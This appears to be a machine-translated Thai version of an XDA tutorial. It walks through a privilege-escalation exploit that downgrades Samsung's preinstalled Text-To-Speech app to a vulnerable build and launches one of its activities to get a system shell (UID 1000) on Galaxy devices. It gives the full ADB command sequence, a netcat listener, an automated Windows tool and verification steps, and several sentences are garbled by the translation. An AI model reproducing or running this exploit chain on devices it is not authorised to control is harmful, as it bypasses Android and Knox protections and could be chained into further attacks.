ลิงค์ด่วน
- ข้อกำหนดเบื้องต้น
- วิธีใช้ประโยชน์จากอุปกรณ์ Samsung Galaxy เพื่อเข้าถึงเชลล์ระบบ
- การยืนยัน
- บทสรุป
ทุกวันจันทร์แรกของทุกเดือน Google จะเผยแพร่ กระดานข่าวความปลอดภัยของ Android. โดยจะเปิดเผยช่องโหว่ด้านความปลอดภัยที่ได้รับการบรรเทาลงในองค์ประกอบต่างๆ ของระบบปฏิบัติการ Android รวมถึงเคอร์เนล Linux และแพตช์ที่ Google ส่งมาเองหรือบุคคลที่สามอื่นๆ วันที่. ผู้ผลิต OEM รายใหญ่อย่าง Samsung ต่างก็มีแนวทางของตัวเองเกี่ยวกับ Android ดังนั้นพวกเขาจึงเลือกที่จะรวมแพตช์และอัปเดตของตนเองเข้ากับการอัปเดตด้านความปลอดภัยเช่นกัน
ด้วยเหตุนี้ การดูแลทุกช่องโหว่จึงค่อนข้างยาก มีเวกเตอร์การโจมตีอยู่มากมาย และบางครั้งคุณสามารถสร้างห่วงโซ่การหาประโยชน์ของคุณเองตามได้ ช่องโหว่ที่ทราบก่อนหน้านี้เพียงเพราะคุณมีวิธีการใหม่ในการหลีกเลี่ยงหนึ่งในนั้น การป้องกัน นี่คือสิ่งที่สมาชิกอาวุโสของ XDA K0mraid3 ทำกับช่องโหว่ที่มีมานานสี่ปี ซึ่งทำให้เขาสามารถเข้าถึงเชลล์ระบบบนอุปกรณ์ Samsung Galaxy ทุกเครื่อง รวมถึงอุปกรณ์เรือธงรุ่นล่าสุดด้วย ทั้งที่มันไม่เหมือนเดิม. มีสิทธิ์รูทเป็นการยกระดับสิทธิ์ในพื้นที่ที่สูงเพียงพอ
จุดเริ่มต้นหลักของช่องโหว่นี้อยู่ใน Samsung Text-To-Speech (ชื่อแพ็คเกจ: com.samsung SMT) ซึ่งเป็นแอประบบที่โหลดไว้ล่วงหน้าซึ่งสามารถพบได้ในอุปกรณ์ Samsung Galaxy ทุกเครื่อง แนวคิดคือการดาวน์เกรดแอปเวอร์ชันที่ติดตั้งไปเป็นบิลด์ที่มีช่องโหว่เฉพาะ (
เวอร์ชัน 3.0.02.2 ให้แม่นยำ) จากนั้นบังคับให้โหลดไลบรารี ซึ่งจะเปิดเชลล์ที่มีสิทธิ์ของระบบ (UID 1000)หากคุณต้องการเรียนรู้เพิ่มเติมเกี่ยวกับการหาประโยชน์ อย่าลืมลองดู ผู้อธิบายของ Adam Conway บรรณาธิการด้านเทคนิคของ XDA. เขาได้พูดคุยกับ K0mraid3 เพื่อทำความเข้าใจขอบเขตทั้งหมดของการหาประโยชน์นี้และวิธีการทำงาน
- ขอย้ำอีกครั้งว่านี่ไม่ใช่การเข้าถึงรูท (UID 0) แต่การเข้าถึงเชลล์ระบบนั้นมีประสิทธิภาพเพียงพอที่จะดำเนินการไบนารีที่ถูกจำกัดจำนวนมาก
- การพิสูจน์แนวคิดของ K0mraid3 ต้องใช้ APK ตัวช่วย และคุณต้องรันอย่างน้อยหนึ่งครั้งก่อนที่จะเริ่มห่วงโซ่การหาประโยชน์
- One UI เช่น กิจวัตรการประหยัดพลังงานในตัวของสกิน Android แบบกำหนดเองของ Samsung อาจเป็นปัญหาได้ เนื่องจากอาจขัดขวางการสื่อสารระหว่างแอป TTS, APK ตัวช่วย และเชลล์ ดังนั้นเราขอแนะนำให้ตั้งค่าโปรไฟล์การประหยัดพลังงานเป็น “ไม่จำกัด” สำหรับแอปล่วงหน้า
ข้อกำหนดเบื้องต้น
- ดาวน์โหลด build ของช่องโหว่ที่คอมไพล์ไว้ล่วงหน้าจาก กระทู้ฟอรั่ม XDA หรือพื้นที่เก็บข้อมูล GitHub อย่างเป็นทางการที่ลิงก์ด้านล่าง: การใช้ประโยชน์จากเชลล์ระบบ K0mraid3s
- แยกไฟล์เก็บถาวรออกจากที่ใดที่หนึ่งและคุณควรพบ Samsung Text-To-Speech APK เวอร์ชันที่มีช่องโหว่ (samsungTTSVULN2.apk) แอปตัวช่วย (Komraid3s_POC_Vx.x.apk) และไฟล์ปฏิบัติการ Windows ที่ชื่อ systemshell-vx.x.exe
- ตรวจสอบให้แน่ใจว่าเวอร์ชันล่าสุดของ เอดีบี ได้รับการติดตั้งบน PC/Mac/Chromebook ของคุณ นอกจากนี้อย่าลืม ติดตั้ง/อัพเดตไดรเวอร์ USB ของ Samsung หากคุณเป็นผู้ใช้ Windows
วิธีใช้ประโยชน์จากอุปกรณ์ Samsung Galaxy เพื่อเข้าถึงเชลล์ระบบ
วิธีการด้วยตนเอง
- เชื่อมต่ออุปกรณ์ Galaxy เป้าหมายกับพีซีของคุณโดยเปิดการแก้ไขข้อบกพร่อง USB ตรวจสอบให้แน่ใจว่า ADB ค้นพบอุปกรณ์ได้ จากนั้นติดตั้งแอปตัวช่วย
adb install Komraid3s_POC_Vx.x.apk
- ตามที่กล่าวไว้ก่อนหน้านี้ เปิดแอปตัวช่วยอย่างน้อยหนึ่งครั้งก่อนที่จะดำเนินการขั้นตอนถัดไป
- ตอนนี้ผลักดันเวอร์ชันที่มีช่องโหว่ของแอป Samsung TTS ไปที่ /data/local/tmp และเปลี่ยนการอนุญาต:
adb push samsungTTSVULN2.apk /data/local/tmp
adb shell chmod 777 /data/local/tmp/samsungTTSVULN2.apk
- รีบูทอุปกรณ์ ทันทีที่คุณอยู่บนหน้าจอหลัก ให้รันคำสั่งต่อไปนี้เพื่อแทนที่แอป Samsung TTS เวอร์ชันที่ติดตั้งไว้แล้วด้วยแอปที่มีช่องโหว่:
adb shell pm install -r -d -f -g --full --install-reason 3 --enable-rollback /data/local/tmp/samsungTTSVULN2.apk
- หากทุกอย่างถูกต้อง คุณจะเห็นข้อความ "สำเร็จ" บนคอนโซล
- เปิดเชลล์บนอุปกรณ์เป้าหมายโดยเปิดหน้าต่างเทอร์มินัลอื่นแล้วดำเนินการ เปลือก adbจากนั้นดำเนินการไบนารี Netcat และฟังการเชื่อมต่อขาเข้าบนพอร์ต 9997 ด้วยคำสั่งต่อไปนี้:
adb shell nc -lp 9997
- ในขั้นตอนนี้ เราต้องดำเนินกิจกรรมเฉพาะของแอป Samsung TTS ซึ่งจะเปิดเชลล์ระบบให้เรา
- ใช้แอปของบุคคลที่สามเช่น นี้ เพื่อสร้างทางลัดของ “com.samsung SMT/.gui. กิจกรรมรายการดาวน์โหลด”
- คุณยังสามารถใช้ตัวจัดการกิจกรรมของ Android (am) เพื่อทำเช่นเดียวกันได้ ในกรณีนั้น คุณสามารถดำเนินการได้ผ่าน ADB (adb shell am start -n com.samsung. SMT/.gui. DownloadList) หรือใช้แอปเทอร์มินัลอีมูเลเตอร์บนโทรศัพท์/แท็บเล็ต เช่น Termux แล้วรันคำสั่งต่อไปนี้:
am start -n com.samsung.SMT/.gui.DownloadList
- สลับกลับไปที่เชลล์แรก และคุณควรเห็นข้อความแจ้งใหม่พร้อมสิทธิ์ของระบบ (UID 1000)
วิธีการอัตโนมัติ
เพื่อให้สิ่งต่าง ๆ ง่ายขึ้น K0mraid3 ยังมีแอปพลิเคชัน GUI ที่ใช้งานง่ายเพื่อทำให้งานส่วนใหญ่เป็นไปโดยอัตโนมัติ โปรดทราบว่าแอป GUI นั้นมีเฉพาะ Windows เท่านั้น ดังนั้นหากคุณเป็นผู้ใช้ Linux/macOS ก็ควรใช้วิธีแบบแมนนวลจะดีกว่า
- เชื่อมต่ออุปกรณ์ Galaxy เป้าหมายกับพีซีของคุณโดยเปิดการแก้ไขข้อบกพร่อง USB ตรวจสอบให้แน่ใจว่า ADB ค้นพบได้ จากนั้นติดตั้งแอปตัวช่วย
adb install Komraid3s_POC_Vx.x.apk
- ตามที่กล่าวไว้ก่อนหน้านี้ เปิดแอปตัวช่วยอย่างน้อยหนึ่งครั้งก่อนที่จะดำเนินการขั้นตอนถัดไป
- เมื่ออุปกรณ์เป้าหมายค้นพบได้โดย ADB ให้รัน systemshell-vx.x.exe บนโฮสต์พีซี
- คลิกที่ปุ่ม "เริ่มเปลือก" แอปจะดาวน์เกรดแอป Samsung TTS โดยอัตโนมัติ และพยายามเปิดเชลล์ระบบ
- บนโทรศัพท์/แท็บเล็ต คุณอาจเห็นแอป TTS แจ้งให้คุณดาวน์โหลดข้อมูลเสียงบางส่วน ไม่จำเป็นต้องโต้ตอบกับตัวเลือกเหล่านั้น เนื่องจากไม่เกี่ยวข้องกับการหาประโยชน์
- ในกรณีที่แอปค้างหรือล้มเหลวในการเปิดหน้าต่างเชลล์หลังจากผ่านไประยะหนึ่ง ให้ปิด รีบูตอุปกรณ์ Galaxy เป้าหมาย แล้วเริ่มต้นใหม่
- แอป Galaxy Store สามารถอัปเดตและ/หรือรีเซ็ตโปรไฟล์การประหยัดพลังงานของแอป TTS โดยอัตโนมัติในเบื้องหลัง ดังนั้นโปรดตรวจสอบก่อนเริ่มกระบวนการตั้งแต่ต้น
การยืนยัน
เมื่อคุณมีสิทธิ์เข้าถึงเชลล์แล้ว คุณสามารถตรวจสอบระดับสิทธิ์ได้โดยใช้คำสั่งใดคำสั่งหนึ่งด้านล่าง:
-
whoami
- ผลลัพธ์ควรเป็น "ระบบ"
-
id -u
- ผลลัพธ์ควรเป็น “1,000”
บทสรุป
วิธีทั่วไปในการเข้าถึงรูทบนอุปกรณ์ Android คือการปลดล็อค bootloader ก่อน ซึ่งช่วยให้คุณสามารถบูตไบนารีของบุคคลที่สามได้ เนื่องจากโดยพื้นฐานแล้วโมเดลความปลอดภัยของ Android แยกออกจากกันโดยใช้รูท ขั้นตอนนี้จึงจงใจปิดการใช้งานคุณสมบัติความปลอดภัยที่สำคัญอย่างหนึ่งบนอุปกรณ์ ซึ่ง คือสาเหตุที่ผู้ใช้ต้องอนุญาตให้มันเกิดขึ้นอย่างชัดเจนโดยโดยทั่วไปจะเปิดใช้งานการสลับในตัวเลือกนักพัฒนาแล้วออกคำสั่งปลดล็อคให้กับ บูตโหลดเดอร์ เมื่อปลดล็อคบูตโหลดเดอร์แล้ว ผู้ใช้สามารถแนะนำไบนารีผู้ใช้ขั้นสูงให้กับระบบและยังมีแอปการจัดการผู้ใช้ขั้นสูง (เช่น Magisk) เพื่อควบคุมว่ากระบวนการใดสามารถเข้าถึงรูทได้
อย่างไรก็ตาม ด้วยการใช้ประโยชน์จากเชลล์ระบบที่กล่าวถึงข้างต้น ผู้ใช้ไม่จำเป็นต้องปลดล็อคโปรแกรมโหลดบูตเพื่อรับสิทธิ์ที่ยกระดับ แม้ว่าจะห่างไกลจากการเป็นรูท แต่ผู้ใช้ "ระบบ" ก็มีความสามารถเพียงพอที่จะเข้าถึงพาร์ติชันระดับต่ำจำนวนหนึ่ง (เช่น as /efs) เริ่มบริการและเครื่องมือแก้ไขจุดบกพร่องต่างๆ และแก้ไขค่า prop ที่ได้รับการป้องกันจำนวนมาก ทั้งหมดนี้โดยไม่สะดุดเลยแม้แต่น้อย น็อกซ์. ตัวอย่างเหล่านี้กล่าวถึงเพียงไม่กี่วิธีเท่านั้น ผู้ประสงค์ร้ายสามารถรวมสิ่งนี้เข้ากับช่องโหว่อื่นๆ และเกิดการกระทำที่ชั่วร้ายมากขึ้น
เราจะต้องรอดูว่า Google และ Samsung จะรับมือกับสถานการณ์นี้อย่างไร ไม่ว่าจะด้วยวิธีใด คุณควรปิดใช้งานหรือลบแอป Samsung Text-To-Speech ในขณะนี้